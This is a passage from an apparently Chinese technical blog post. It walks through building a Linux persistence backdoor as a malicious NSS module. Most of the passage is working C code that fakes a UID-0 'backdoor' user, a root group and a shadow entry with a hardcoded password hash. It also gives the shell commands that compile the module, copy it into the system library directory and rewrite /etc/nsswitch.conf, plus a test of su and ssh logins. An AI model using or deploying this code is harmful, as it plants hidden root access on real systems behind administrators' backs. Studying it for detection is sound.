result-&gt;pw_shell = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    fill_backdoor_passwd(result, buffer, buflen);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwuid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf=""> uid,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (uid != BACKDOOR_UID)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    fill_backdoor_passwd(result, buffer, buflen);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">static</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_setpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> stayopen)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_endpwent (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwent_r (struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!pwent_called)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pwent_called == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        pwent_called = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        fill_backdoor_passwd(result, buffer, buflen);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">group 模块</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为后门用户伪造 group 信息：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;grp.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GROUP </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;root&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_GID   0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getgrnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct group *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_GROUP) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">128</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_name = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_GROUP) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_passwd = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_gid = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_mem = (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> **)(p + </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;gr_mem[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getgrgid_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> gid,</span><span leaf=""><br/></span><span leaf="">                     struct group *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (gid != BACKDOOR_GID)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> _nss_nop_getgrnam_r(BACKDOOR_GROUP, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_initgroups_dyn (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *user, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> group,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *start, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *size,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> **groups, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">long</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> limit,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, BACKDOOR_GROUP) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""> &amp;&amp; </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(user, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*start &gt;= *size)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *size *= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        *groups = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">realloc</span></span><span leaf="">(*groups, *size * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*groups == </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    (*groups)[*start] = BACKDOOR_GID;</span><span leaf=""><br/></span><span leaf="">    *start += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">shadow 模块</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">让后门用户通过 PAM 认证（SSH 登录等场景需要）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_USER  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> BACKDOOR_HASH  </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0&#34;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_namp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_pwdp = p;</span><span leaf=""><br/></span><span leaf="">    p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_lstchg = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_max = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99999</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_warn = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_inact = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_expire = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;sp_flag = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">BACKDOOR_HASH</span></code><span leaf=""> 是一个预计算的 SHA-512 密码哈希。生成方式：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">openssl passwd -6 -salt saltsalt yourpassword</span></code></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">部署和验证</span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 编译</span></span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署</span></span><span leaf=""><br/></span><span leaf="">cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 修改 nsswitch.conf，覆盖三个数据库</span></span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^passwd:.*/passwd: files nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^group:.*/group: files nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">sed -i </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;s/^shadow:.*/shadow: files nop/&#39;</span></span><span leaf=""> /etc/nsswitch.conf</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id backdoor</span><span leaf=""><br/></span><span leaf="">ssh backdoor@127.0.0.1</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36944444444444446" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019426" src="https://wechat2rss.xlab.app/img-proxy/?k=9c36e251&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YhJSH0tibQ4wAib5WbTiaVIbDcbf9A1PKlR4EicmCOYceHfMBSdpBwa1XqXrLBNia7C9b1rDwX67KKA2xU27O4PZsQcz8hoaicZzTr90%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">测试发现，虽然 su 切换到 backdoor ，并且使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getent</span></code><span leaf=""> 能够完整获取到信息，但是 ssh 还是失败了。 接下来通过阅读 pam 源代码，发现可能原因是 ssh 默认配置了不允许 root 登录，但 backdoor 的 uid 和 root 的 uid 是一致的，所以被拦截了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为了验证这个猜想，我们先重启 ssh 服务，确保不是因为未重启 ssh 导致的</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.16944444444444445" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019423" 